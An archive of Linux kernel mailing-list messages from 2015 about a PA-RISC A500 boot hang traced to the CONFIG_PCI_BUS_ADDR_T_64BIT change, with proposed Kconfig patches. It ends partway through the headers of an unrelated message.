>>>> 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8003000 (irq = 22, base_baud = 115200) is a 16550A
>>>> serial 0000:00:05.0: Couldn't register serial port 0, irq 22, type 2, error -28
>>>> sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
>>>> sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
>>>
>>> I'm seeing the same problem on my rp5470 with Kernel 4.2-rc7. My machine just hangs though and doesn't crash.
>>
>> I did a bisect and commit 3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d ("PCI: Add pci_bus_addr_t") seems to be the culprit:
>> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d
>>
>> Since the patch has "CC: stable@vger.kernel.org  # v3.19+", it might be the reason why you see kernel 3.19 failing too...
>
> I just found the same commit breaking my A500 parisc machine by
> bisecting.
>
> CC: patch author and linux-pci.

I think this is the problem:

--- a/drivers/pci/Kconfig
+++ b/drivers/pci/Kconfig
@@ -1,6 +1,10 @@
  #
  # PCI configuration
  #
+config PCI_BUS_ADDR_T_64BIT
+       def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
+       depends on PCI


CONFIG_PCI_BUS_ADDR_T_64BIT gets now defined on all 64bit arches.
Then if CONFIG_PCI_BUS_ADDR_T_64BIT is set, in pci_bus_alloc_resource()
64bit address spaces (IORESOURCE_MEM_64) will be enabled which weren't enabled before.

This trivial/temporary hack fixes the problem:

--- a/drivers/pci/bus.c
+++ b/drivers/pci/bus.c
@@ -200,7 +200,7 @@ int pci_bus_alloc_resource(struct pci_bus *bus, struct resource *res,
                                           resource_size_t),
                 void *alignf_data)
  {
-#ifdef CONFIG_PCI_BUS_ADDR_T_64BIT
+#if defined(CONFIG_PCI_BUS_ADDR_T_64BIT) && !defined(CONFIG_PARISC)
         int rc;
  
         if (res->flags & IORESOURCE_MEM_64) {


but the real problem is probably, that the sym53c8xx driver or maybe the parisc PCI core code isn't 64bit clean?

I did some more debugging, and on parisc the first hang happens in function sym_check_raid() [called from sym2_probe()]
indrivers/scsi/sym53c8xx_2/sym_glue.c while trying to call readl():
   ram_val = readl(device->s.ramaddr + ram_size - 16);

Helge
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Tue, 18 Aug 2015 14:24:40 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
	<trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
	<trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
	<alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
	<55D38BE6.6080302@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439933094 25207 80.91.229.3 (18 Aug 2015 21:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Aug 2015 21:24:54 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	David Ahern <david.ahern@oracle.com>,
	Bjorn Helgaas <bhelgaas@google.com>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Aug 18 23:24:52 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZRoNA-0002wl-On
	for lnx-sparclinux@plane.gmane.org; Tue, 18 Aug 2015 23:24:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752974AbbHRVYm (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 18 Aug 2015 17:24:42 -0400
Original-Received: from mail-ig0-f173.google.com ([209.85.213.173]:35305 "EHLO
	mail-ig0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751576AbbHRVYl (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 18 Aug 2015 17:24:41 -0400
Original-Received: by igbjg10 with SMTP id jg10so90919149igb.0;
        Tue, 18 Aug 2015 14:24:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=oETqbW9dxZaGTVYbemQgp4KDgnMc9Qe8Vupn0gbwLzA=;
        b=JexGQWaRNmJazNBuRiTXDD8XGkAkWtpMnWe40Lpf6CkvWzs4X42w/+zr3bJU4aExwr
         bGGPziJiP8tp0wiBa5IKDZRlWX5RxBm2SQ+b17m+b6bUExQix+yHhHwefzqz/HtlCicM
         oJSuZEqTtFodIQKWkaz5PO7mk+UMifGE+evTDxboVuJcfRukBXBBM2Jm8ojObDSfe/7E
         MMs8ojOqMOafwMSLtQWI6I0mWYhL7MGEFYv5yZ7pXIaIfw82XQHW+xx+bf/tGKC4J+Jd
         Mka2AlgrrqUryqOfPz5FvcmCzaJvlLz+Y8x796YdLTOC3XgzLhfhcg7PJCVrdBkoa0GP
         gSxA==
X-Received: by 10.50.70.34 with SMTP id j2mr27197706igu.54.1439933080868; Tue,
 18 Aug 2015 14:24:40 -0700 (PDT)
Original-Received: by 10.64.120.34 with HTTP; Tue, 18 Aug 2015 14:24:40 -0700 (PDT)
In-Reply-To: <55D38BE6.6080302@gmx.de>
X-Google-Sender-Auth: aBsGnS8_nor0-byB0aEy2sMPcfw
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21484 gmane.linux.ports.parisc:25971 gmane.linux.kernel.pci:44476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21484>

On Tue, Aug 18, 2015 at 12:47 PM, Helge Deller <deller@gmx.de> wrote:
> On 18.08.2015 20:44, Meelis Roos wrote:
>>> I did a bisect and commit 3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d ("PCI:
>>> Add pci_bus_addr_t") seems to be the culprit:
>>>
>>> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d
>>
>> CC: patch author and linux-pci.
>
>
> I think this is the problem:
>
> --- a/drivers/pci/Kconfig
> +++ b/drivers/pci/Kconfig
> @@ -1,6 +1,10 @@
>  #
>  # PCI configuration
>  #
> +config PCI_BUS_ADDR_T_64BIT
> +       def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
> +       depends on PCI

Thanks for bisecting.

Then we should change to

config PCI_BUS_ADDR_T_64BIT
       def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
       depends on PCI
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Wed, 19 Aug 2015 07:48:14 +0300 (EEST)
Lines: 39
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1508190747360.5154@math.ut.ee>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee> <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71> <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02> <alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
 <55D38BE6.6080302@gmx.de> <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1439959679 17361 80.91.229.3 (19 Aug 2015 04:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2015 04:47:59 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	David Ahern <david.ahern@oracle.com>,
	Bjorn Helgaas <bhelgaas@google.com>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Yinghai Lu <yinghai@kernel.org>
Original-X-From: sparclinux-owner@vger.kernel.org Wed Aug 19 06:47:56 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZRvI2-0008NK-Oi
	for lnx-sparclinux@plane.gmane.org; Wed, 19 Aug 2015 06:47:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751247AbbHSErx (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 19 Aug 2015 00:47:53 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:59180 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751187AbbHSErw (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Wed, 19 Aug 2015 00:47:52 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 7C62F902EA;
	Wed, 19 Aug 2015 07:47:50 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 4892F22118A; Wed, 19 Aug 2015 07:48:14 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 3F98E220E8A;
	Wed, 19 Aug 2015 07:48:14 +0300 (EEST)
In-Reply-To: <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21485 gmane.linux.ports.parisc:25972 gmane.linux.kernel.pci:44484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21485>

> On Tue, Aug 18, 2015 at 12:47 PM, Helge Deller <deller@gmx.de> wrote:
> > On 18.08.2015 20:44, Meelis Roos wrote:
> >>> I did a bisect and commit 3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d ("PCI:
> >>> Add pci_bus_addr_t") seems to be the culprit:
> >>>
> >>> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d
> >>
> >> CC: patch author and linux-pci.
> >
> >
> > I think this is the problem:
> >
> > --- a/drivers/pci/Kconfig
> > +++ b/drivers/pci/Kconfig
> > @@ -1,6 +1,10 @@
> >  #
> >  # PCI configuration
> >  #
> > +config PCI_BUS_ADDR_T_64BIT
> > +       def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
> > +       depends on PCI
> 
> Thanks for bisecting.
> 
> Then we should change to
> 
> config PCI_BUS_ADDR_T_64BIT
>        def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
>        depends on PCI

Why SPARC64? The problem happened on parisc.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.sparc
Subject: Re: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Tue, 18 Aug 2015 22:30:36 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
	<trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
	<trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
	<alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
	<55D38BE6.6080302@gmx.de>
	<CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
	<alpine.LRH.2.20.1508190747360.5154@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439962247 24095 80.91.229.3 (19 Aug 2015 05:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2015 05:30:47 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	Bjorn Helgaas <bhelgaas@google.com>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 07:30:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZRvxP-0004LK-NH
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Aug 2015 07:30:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751292AbbHSFai (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Aug 2015 01:30:38 -0400
Original-Received: from mail-ig0-f180.google.com ([209.85.213.180]:33780 "EHLO
	mail-ig0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751023AbbHSFah (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Aug 2015 01:30:37 -0400
Original-Received: by igfj19 with SMTP id j19so100339447igf.0;
        Tue, 18 Aug 2015 22:30:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=1vfC6e+YzZq2dAwwWSbfJe022IdtnJ2DMiC+comuq64=;
        b=c7wiJRXjIulDvBXF2sni3v6M2lbSJ3Jr2lmqWd3ozke9C30GFwaSXjhEmdLaYa0bAb
         RS8paNaa3PRzU/Eqs/dgTE3KHLm6m2trka1TgNFS4EJTlBFPOkU0afmaujAcnXijKVx0
         5BeT9pgNHi77YVEmq0ueaq0Caep4RMsZuvLbja+a8592q0k13VvWLI5c+bdICcIWDi8B
         d5ZqilOL3PRNj7iXriryBBpwmJkf1YE5GUJRDLaGsun85G9E7DM4HD6vtMWBy9K/44Eq
         4h0pwHW/+ErH9UTYKppyXpbQDMDd6H5LkU9umlkH++YA/x8cGBAR4QRbFk3iuol89Esg
         y8WA==
X-Received: by 10.50.65.38 with SMTP id u6mr11915487igs.49.1439962236735; Tue,
 18 Aug 2015 22:30:36 -0700 (PDT)
Original-Received: by 10.64.120.34 with HTTP; Tue, 18 Aug 2015 22:30:36 -0700 (PDT)
In-Reply-To: <alpine.LRH.2.20.1508190747360.5154@math.ut.ee>
X-Google-Sender-Auth: ED595VZ5Lzx1TJiQPviBuCAOApg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25973 gmane.linux.kernel.pci:44486 gmane.linux.ports.sparc:21486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25973>

On Tue, Aug 18, 2015 at 9:48 PM, Meelis Roos <mroos@linux.ee> wrote:
>> On Tue, Aug 18, 2015 at 12:47 PM, Helge Deller <deller@gmx.de> wrote:
>>
>> Then we should change to
>>
>> config PCI_BUS_ADDR_T_64BIT
>>        def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
>>        depends on PCI
>
> Why SPARC64? The problem happened on parisc.
>

so will not set PCI_BUS_ADDR_T_64BIT for parisc.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Wed, 19 Aug 2015 13:40:46 +0300 (EEST)
Lines: 37
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1508191340020.31468@math.ut.ee>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee> <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71> <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02> <alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
 <55D38BE6.6080302@gmx.de> <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1439980841 18522 80.91.229.3 (19 Aug 2015 10:40:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2015 10:40:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	Bjorn Helgaas <bhelgaas@google.com>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Yinghai Lu <yinghai@kernel.org>
Original-X-From: sparclinux-owner@vger.kernel.org Wed Aug 19 12:40:40 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZS0nI-0007X3-8w
	for lnx-sparclinux@plane.gmane.org; Wed, 19 Aug 2015 12:40:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753376AbbHSKk3 (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 19 Aug 2015 06:40:29 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:37857 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752775AbbHSKk3 (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Wed, 19 Aug 2015 06:40:29 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id ABFDF740E8E;
	Wed, 19 Aug 2015 13:40:22 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id B71E4221111; Wed, 19 Aug 2015 13:40:46 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id AE00A221110;
	Wed, 19 Aug 2015 13:40:46 +0300 (EEST)
In-Reply-To: <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21488 gmane.linux.ports.parisc:25974 gmane.linux.kernel.pci:44492
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21488>

> >>> I did a bisect and commit 3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d ("PCI:
> >>> Add pci_bus_addr_t") seems to be the culprit:
> >>>
> >>> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d
> >>
> >> CC: patch author and linux-pci.
> >
> >
> > I think this is the problem:
> >
> > --- a/drivers/pci/Kconfig
> > +++ b/drivers/pci/Kconfig
> > @@ -1,6 +1,10 @@
> >  #
> >  # PCI configuration
> >  #
> > +config PCI_BUS_ADDR_T_64BIT
> > +       def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
> > +       depends on PCI
> 
> Thanks for bisecting.
> 
> Then we should change to
> 
> config PCI_BUS_ADDR_T_64BIT
>        def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
>        depends on PCI

This works for my A500.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.sparc
Subject: Re: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Wed, 19 Aug 2015 07:25:11 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <BLU436-SMTP773488774A8C76BF6C12E597670@phx.gbl>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee> <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71> <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02> <alpine.LRH.2.20.1508182141200.24742@math.ut.ee> <55D38BE6.6080302@gmx.de> <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com> <alpine.LRH.2.20.1508190747360.5154@math.ut.ee> <CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1439983531 28268 80.91.229.3 (19 Aug 2015 11:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2015 11:25:31 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	Bjorn Helgaas <bhelgaas@google.com>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Yinghai Lu <yinghai@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 13:25:22 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZS1Ua-0002Ig-7L
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Aug 2015 13:25:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753979AbbHSLZP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Aug 2015 07:25:15 -0400
Original-Received: from blu004-omc4s14.hotmail.com ([65.55.111.153]:54774 "EHLO
	BLU004-OMC4S14.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753608AbbHSLZP convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Aug 2015 07:25:15 -0400
Original-Received: from BLU436-SMTP77 ([65.55.111.136]) by BLU004-OMC4S14.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Wed, 19 Aug 2015 04:25:14 -0700
X-TMN: [hLAJe+7K6UabUbBfidXmcRVgihKHhuZN]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 19 Aug 2015 11:25:13.0012 (UTC) FILETIME=[B6FFC740:01D0DA71]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25975 gmane.linux.kernel.pci:44493 gmane.linux.ports.sparc:21489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25975>

On 2015-08-19, at 1:30 AM, Yinghai Lu wrote:

> On Tue, Aug 18, 2015 at 9:48 PM, Meelis Roos <mroos@linux.ee> wrote:
>>> On Tue, Aug 18, 2015 at 12:47 PM, Helge Deller <deller@gmx.de> wrote:
>>> 
>>> Then we should change to
>>> 
>>> config PCI_BUS_ADDR_T_64BIT
>>>       def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
>>>       depends on PCI
>> 
>> Why SPARC64? The problem happened on parisc.
>> 
> 
> so will not set PCI_BUS_ADDR_T_64BIT for parisc.

I'm not sure this is optimal.  While the A500 may only have 32-bit PCI, c8000 appears to have a mix
of 32 and 64-bit, and rp34XX is all 64-bit.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Safia <pds@maths.iitkgp.ernet.in>
Newsgroups: gmane.linux.ports.parisc
Subject: Today
Date: Wed, 19 Aug 2015 18:10:08 +0530 (IST)
Lines: 9
Approved: news@gmane.org
Message-ID: <1287921552.1987492.1439988008494.JavaMail.zimbra@maths.iitkgp.ernet.in>
Reply-To: Safia <safissans@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439990782 16104 80.91.229.3 (19 Aug 2015 13:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2015 13:26:22 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 15:26:14 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
